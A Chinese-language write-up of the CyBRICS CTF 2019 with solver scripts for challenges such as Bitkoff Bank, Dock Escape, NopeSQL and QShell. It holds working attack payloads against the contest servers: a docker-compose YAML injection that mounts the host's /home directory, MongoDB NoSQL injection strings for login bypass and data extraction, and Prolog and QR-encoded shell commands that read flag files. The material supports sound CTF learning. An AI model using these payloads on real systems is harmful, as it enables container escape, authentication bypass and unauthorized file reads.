CTF 安全

CyBRICS CTF 2019 WriteUp

前言

CyBRICS 是由金砖国家学术界跨大学组织的计算机安全竞赛(CTF)。

来自每个金砖国家的 前5名 学术团队将被邀请到 俄罗斯圣彼得堡 参加 现场总决赛

比赛入口地址:https://cybrics.net

比赛持续 24 小时,共 30 题。

我们一共解出 16 题,个人解出 15 题,队友协助解出 1 题。

总得分 762,总排名 33,中国区排名 8。

Mic Check (Cyber, Baby, 10 pts)

签到题,直接在 Rules and Details 里找到 flag

Flag:cybrics{W3lc0M3_t0_t3h_G4M#}

Bitkoff Bank (Web, Easy, 50 pts)

每次进行 usd/btc btc/usd 兑换都会增多,我觉得应该是处理 float 时没处理好,前端限制了精度,后端没限制。兑换 700 次左右就能买 flag 了。

脚本:

import requests
import random
import string

url = 'http://95.179.148.72:8083/index.php'
s = requests.session()

def randstr(length=8):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))

def get(s,url):
    while True:
        try:
            r=s.get(url,timeout=3)
            if r.status_code != 500:
                return r
        except:
            pass
        pass

def post(s,url,data):
    while True:
        try:
            r=s.post(url,data=data,timeout=3)
            if r.status_code != 500:
                return r
        except:
            pass
        pass

def reg_login(s,url,un,pw):
    payload={'name':un,'password':pw}
    r=post(s,url,payload)
    return r.text

def change(s,url,fr,to,am):
    payload={'from_currency':fr,'to_currency':to,'amount':am}
    r=post(s,url,payload)
    return r.text

un=randstr()
pw=randstr()
print un
print pw
reg_login(s,url,un,pw)
reg_login(s,url,un,pw)
change(s,url,'btc','usd','0.00003')

while True:
    res=get(s,url)
    usd=res.text.split(': <b>')[1].split('</b>')[0]
    btc=res.text.split(': <b>')[2].split('</b>')[0]
    print float(usd)
    if float(usd)>=1.0: break
    change(s,url,'usd','btc',usd)
    res=get(s,url)
    usd=res.text.split(': <b>')[1].split('</b>')[0]
    btc=res.text.split(': <b>')[2].split('</b>')[0]
    change(s,url,'btc','usd',btc)
Flag:cybrics{50_57R4n93_pR3c1510n}

Caesaref (Web, Hard, 50 pts)

队友做的,我没看。估计不算难?

Oldman Reverse (Reverse, Baby, 10 pts)

就一个汇编文件,看上去不难。逆之。

脚本:

a='cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}'
a=a*32
b=0
s=''
for i in range(len(a)/33+1):
    s+=a[b]
    b+=33
print s
Flag:cybrics{pdp_gpg_crc_dtd_bkb_php}

Tone (Forensic, Baby, 10 pts)

给了 youtube 的视频,音频是按键声(双音多频技术DTMF),google 在线下载 youtubemp3 音频,然后频谱分析(还记得以前新闻报道周鸿祎电话号码被泄露,也是用这个方法)。

Flag:cybrics{cybricssecrettonalflag}

Dock Escape (CTB, Easy, 151 pts)

给了个 client.py 作为客户端。可以输入端口号,来启动实例(run instance,也就是启动一个 docker,然后映射内部服务端口到我们指定的外部端口上)。

所以我们可以用 client.py 客户端,连接这个ip和端口,进行文件上传和下载。然后30秒后,这个 docker 会自动销毁。分析 client.py,猜测可以直接修改文件名为我们想读的路径,读取 docker 里面的文件,测试一下的确可以。

但是 flag 在母机 /home/flag 里,正常情况下,docker 无法读取母机的文件,因为用了 chroot,但是 docker 可以 mount volumns,挂载母机的目录到 docker 里,然后就能读取 flag 啦。

如何挂载?其实我们启动实例时输入端口号,随便输入aaaa,会报错,看到是将我们的输入直接拼接到 /tmp/xxxxxx/docker-compose.yml 文件里,然后启动 docker 的。

用过 docker 的都知道,这样就能改 yml 文件来挂载母机目录到 docker 里啦。但是要注意 yaml 语法规范,包括空格缩进要一致,跟 python 格式类似。

Payload:

9878:12345\n    volumes:\n      - /home:/mnt #

连接脚本:

from pwn import *

io=remote('95.179.188.234',9878)

io.send('R')
path='/mnt/flag'
io.send(p32(len(path)))
io.send(path)
io.interactive()
Flag:cybrics{0dbceabb65128d70f92b70f9d63f277ceac7515c501ece4916d0f3aa65457872}

NopeSQL (Web, Medium, 156 pts)

看题目,nosql 注入,师傅题型 git 泄露,看源代码,json_decode,可以将 json 字符串转为数组,然后给到 mongodb client 处理,没有过滤输入,直接拼接,存在注入。

不妨看看官方文档:数据聚合

用户名:随便
密码:","password":{"$ne": null},"username":"admin

这样你会发现拼接完,整个 json 字符串,usernamepassword 好像重复了,其实 decode 时变量只会是最后一次的赋值,没关系。我为什么要重复,只是为了最后面的双引号闭合,而不会引入多余的查询字段。当然,这里还要其它方法,可以继续探寻。 登录进去,就到 project/group 之类的,不懂什么意思。查文档。

不妨看看官方文档:聚合管道

差不多试了2个小时,得到最后能用的 payload

Payload:

/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12
Flag:cybrics{7|-|15 15 4 7E><7 |=|_49}

Honey, Help! (rebyC, Baby, 10 pts)

应该是用 echo 颜色输出导致的乱码,有部分 ascii 被转换为 utf8 对应的字符。逐字节找,utf8 对应 ascii 的关系,就能恢复乱码的内容。

其中有一个字节,有几种可能性,都试一下就好了。

Flag:cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}

Sender (Network, Baby, 10 pts)

原始邮件那种格式,英文缩写叫什么我忘记了。有 base64 编码的用户名和密码,直接用 outlook 登录 smtp 邮件服务器,就能拿到压缩包和密码,解压压缩包,拿到 flag

Flag:cybrics{Y0uV3_G0T_m41L}

Paranoid (Network, Easy, 50 pts)

题目描述的场景是,出题人邻居家新买回来了一个路由器,并且设置了密码。然后出题人提供了 pcap 抓包文件,是他抓取回来的流量。

可以看到流量里有 http 明文,是邻居登录到路由器,修改管理密码和 wifi 密码。然后我们能看到密码是 wep 的,然后改完密码那一刻起,后面的数据包都用这个密码加密了。

所以直接用 airdecap-ng 可以解密流量,然后看解密完的流量,邻居又改密码了,这次是改成 wpa ,同样可以看到 http 明文里有明文密码。

同样,再用 airdecap-ng 解密一次,再看解密流量,邻居又又又改管理密码,这次改的管理密码就是 flag

Flag:cybrics{n0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R}

Fast Crypto (Cyber, Medium, 79 pts)

一个加密算法,不会算鸭。看了一下,20 位,有些还用不了,初始计算大概 31337 次,爆破 1 位,几秒钟。算一下时间复杂度,还行。24 线程 popen 开进程爆破,2-3 小时出结果了。

脚本 a.py

import json
import sys
from egcd import egcd

def get_next(a, power, N):
    b = pow(a,power,N)
    return b, b % 256

key = json.loads(open('public.key').read())

seed = int(sys.argv[1])

def check(seed):
    match = False
    match_seed = 0
    match_power = 0

    for power in range(2,17):

        if egcd(power, key['N'])[0] != 1:
            continue

        tmp_seed = seed

        for _ in range(key['O']):
            tmp_seed = get_next(tmp_seed, power, key['N'])[0]

        enc = '\x46\x83\x49\x44'
        dec = 'RIFF'

        tmp_match = True
        for i in range(4):
            tmp_seed, bt = get_next(tmp_seed, power, key['N'])
            if ord(enc[i]) ^ bt != ord(dec[i]):
                tmp_match = False
                break
        if not tmp_match: continue

        match = True
        match_seed = seed
        match_power = power
        break

    if match:
        return 'True\nseed: %d\npower: %d\n' % (match_seed, match_power)
    else:
        return 'False\nseed: %d\n' % (seed)

print(check(seed))

脚本 b.py

import threading
from multiprocessing.dummy import Pool as ThreadPool
from pwn import *

can_exit = False

def brute(i):
    global can_exit
    if can_exit: return
    print i
    context.log_level='CRITICAL'
    io=process(argv=['python', 'a.py', str(i)])
    if 'True' in io.recvline():
        res = io.recvline()
        res += io.recvline()
        can_exit = True
        open('res.txt','w').write(res)
        print res
    io.close()

pool = ThreadPool(18)
pool.map(brute, range(0,65537))

跑脚本 b.py,出结果,在 res.txt 文件里,有 seed=4485,power=7

可以解密 wav 文件,拿到 wav 文件,就是女声念 flag,练英语听力的时候到了!

Flag:cybrics{blum_blum_crypto}

Warmup (Web, Baby, 10 pts)

网页自动跳转 /final.html,所以首页肯定有东西。

curl http://45.32.148.106/ | grep flag

得到

Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=

base64 解码拿到 flag

Flag:cybrics{4b646c7985fec6189dadf8822955b034}

QShell (Cyber, Easy, 50 pts)

nc 连上去,用 ascii 打印了一个二维码,扫码内容是 sh-5.0$,然后输出了一个点号。一开始不知道什么意思,然后随便输入,发现会返回两种结果。

随便输入一些内容,再输入点号:list index out of range
直接输入点号:tile cannot extend outside image

网上查了一下,看来点号是结束的意思,然后我们点号前的输入,交由后端 pillow 库处理。

后来再试着,将二维码往回发,然后点号结束,竟然没报错了。然后猜测,后端将 ascii 转成图片,然后识别二维码,然后结合 sh-5.0$ 提示,应该是任意命令执行。

所以我们生成一个 ascii 二维码,然后二维码内容是命令,比如 ls /,将二维码往回发,然后服务端就返回了一个新的二维码,二维码内容就是命令执行的回显结果。

写了个脚本 getflag

#coding=utf-8

import qrcode

qr = qrcode.QRCode(
    version=None,
    error_correction=qrcode.constants.ERROR_CORRECT_M,
    box_size=1,
    border=4
)

qr.add_data("cat /home/test/flag.txt")
qr.make(fit=True)

s=''
length=len(qr.modules[0])
for i in qr.modules:
    s+='█'*6
    for j in i:
        if not j:
            s+='█'
        else:
            s+=' '
    s+='█'*6
    s+='\n'
length+=12
padding='█'*length+'\n'
s=padding*6+s+padding*6
print s
from pwn import *

io=remote('spbctf.ppctf.net',37338)
io.recvuntil('.\n')
io.send(s)
io.sendline('.')
io.interactive()
Flag:cybrics{QR_IS_MY_LOVE}

Matreshka (Reverse, Easy, 50 pts)

拿到一个 class,用 luyten 看代码,涉及 DES 加解密,可以改代码,直接解密 data.bin,得到一个 elf(stage2.bin)

ida,看到 main_main,想到应该是用 golang 写的,然后可以用 IDAGolangHelper 识别出go的字符串。这里 F5 出来的结果不正确,只能作为参考,最好直接看汇编,结合动调。

它是取当前 stage2.bin 所在文件夹的名称,用内置密钥做 rc4加密,然后与内置密文比较,而且长度要等于 0x11,所以可以直接逆出文件夹名称为 kroshka_matreshka,直接创建一个文件夹,然后将 stage2.bin 放进去运行,就能直接得到 result.pyc ,然后用 uncompyle6 反编译 pyc,是一个循环异或加密算法,key 长度为 8,可以根据 flag 固定头 cybrics{,逆出 key:Kr0H4137,然后解密得到 flag

整道题不难,都是一些简单算法,没有混淆、加垃圾指令之类,只不过涉及3种语言(java,go,python)的逆向,考查综合语言逆向能力为主,有一点点绕。

Flag:cybrics{M4TR35HK4_15_B35T}

Disk Data (Forensic, Easy, 56 pts)

直接上取证大师,商业软件真香!

.bash_history,曾经处理 Downloads 里一张图片 kTd0T9g.png,左上角用 convert 命令被盖上白色矩形填充,估计 flag 就写在那里。

然后原始数据搜索整个镜像里的关键词 kTd0T9g,还有签名恢复所有 png 图片。可以看到恢复出来一张原图的缩略图,左上角的确是 flag,但是缩略图根本看不清。然后关键词搜索,有几十条记录,慢慢翻,能找到未分配簇空间里有:

https://i.imgur.com/kTd0T9g.png

这就是原图了。

Flag:cybrics{A11W4Y5_D1G_D33P3R}

ProCTF (CTB, Baby, 10 pts)

给了 ssh,连上去,随便输入,都好像没回显。然后无意中按下 Ctrl+C,有一些字符串出来了。然后 google 搜索一下,好像是一个叫做 SWI-Prolog 语言的交互式窗口,查一下有关这种语言的使用。可以直接执行任意命令然后回显。

Payload:

shell('cat /home/user/flag.txt').
Flag:cybrics{feeling_like_a_PRO?_that_sounds_LOGical_to_me!____g3t_it?_G37_1T?!?!_ok_N3v3Rm1nd...}

以下为思路:

RT!吧唧吧唧~

Big RAM (rebyC, Easy, 117 pts)

像是一个字符替换,没仔细看。

Zakukozh (Cyber, Baby, 10 pts)

改过的仿射密码,也没细致研究。

Telegram (rebyC, Medium, 110 pts)

一个 tg bot,发送文字过去,它会返回一段 video note 小视频,和题目一样,强调 face to face,所以我也给它发一段 video note(不是 video,不是 file,一定要是 video note),但是它大概意思说这段视频里没有隐藏内容。而且发给它的 video note 不能超过 150kb

因为 tg app 上不好操作,所以直接在 python 调用 tgapi,给 botvideo note,然后想到 ffmpeg avi任意文件读取,构造 avibot,但是 avi 好像不能作为 video note,只能作为 video 发。所以将 avi 改成 mp4 发过去,但是 bot 告诉我们 convert转码失败

然后就卡在这里了。

Game (Reverse, Medium, 287 pts)

一个带客户端的小游戏,有点像 头号玩家 里面提到的 魔幻历险Adventure 小游戏(在 雅达利2600 上发行),需要过 level 5 才能拿到 flag。我好像自己玩只能到 level 3

标识:P 是我们玩家,# 是敌人(随机移动,碰到就死),* 是子弹,X 是墙,每个房间最多有四扇门,可以进入不同房间。需要找到 F 进入下一关。

玩法:wsad 移动,f 发射子弹,c 进入近身攻击无敌状态。

逆向客户端,能分析出通讯协议。然后自己写了个客户端模拟收发通讯协议数据。

自写客户端脚本:

from pwn import *

io=remote('95.179.148.72', 10001)
logging=0

def read(data):
    return u32(data[:4]),data[4:]

def frame():
    length1=u32(io.recv(4))
    data1=io.recv(length1)
    data3=data1
    length2=u32(io.recv(4))
    data2=io.recv(length2)
    res=[]

    if logging: print 'border:'
    width,data1=read(data1)
    height,data1=read(data1)
    res.append([width,height])
    if logging: print width,height

    if logging: print 'doors:'
    doors_cnt,data1=read(data1)
    tmp=[]
    for i in range(doors_cnt):
        p1,data1=read(data1)
        p2,data1=read(data1)
        tmp.append([p1,p2])
        if logging: print p1,p2
    res.append(tmp)

    if logging: print 'player:'
    player1,data1=read(data1)
    player2,data1=read(data1)
    res.append([player1,player2])
    if logging: print player1,player2

    if logging: print 'enemies:'
    enemies_cnt,data1=read(data1)
    tmp=[]
    for i in range(enemies_cnt):
        p1,data1=read(data1)
        p2,data1=read(data1)
        tmp.append([p1,p2])
        if logging: print p1,p2
    res.append(tmp)

    if logging: print 'exits:'
    exits_cnt,data1=read(data1)
    tmp=[]
    for i in range(exits_cnt):
        p1,data1=read(data1)
        p2,data1=read(data1)
        tmp.append([p1,p2])
        if logging: print p1,p2
    res.append(tmp)

    if logging: print 'fireballs:'
    fireballs_cnt,data1=read(data1)
    tmp=[]
    for i in range(fireballs_cnt):
        p1,data1=read(data1)
        p2,data1=read(data1)
        tmp.append([p1,p2])
        if logging: print p1,p2
    res.append(tmp)
    return res

res=frame()
for i in range(10):
    io.send('d')
    res=frame()
    print res[2]

因为游戏服务器在荷兰,所以我这边国内网络连过去有延迟和丢包,加上拥塞控制算法,这边网络玩游戏大概3-4帧/秒,而且按键操作有1-2帧延迟,不利于判断敌人和我们的位置。

所以题目解法大概是,写个脚本模拟运动,加上算法控制敌人和我们的距离,加上规则去攻击防御,然后走动。

相当于写个机器人玩游戏,最后将脚本放到与荷兰ping值低,网络稳定的位置去跑,应该就能拿到flag。

当然,手工玩游戏应该也行,太硬核了!

Unknocking (Network, Hard, 500 pts)

涉及到 Knockd,就是一个敲门开放 443 端口吧,不过是 ipv6,需要用有 ipv6 的服务器跑这题。然后有个 server 文件,看了一下好像跟网络路由之类的相关?

Fake TCP (Network, Medium, 277 pts)

题目提示,是个变种 tcp 协议,sport, dport, ack, seq 之类的头,字节上顺序有问题。

看了一下抓包,tcp 响应包 ackseq 反了,而且设置了 RST 标志,正常情况是没办法握手的。

所以应该用 c语言 底层实现对应变种 tcp 协议,然后同时无视 RST 标志位建立连接?这样可行吗?

其它题呢?

没时间看了叭!吧唧吧唧~


标签: CTF 安全

Comments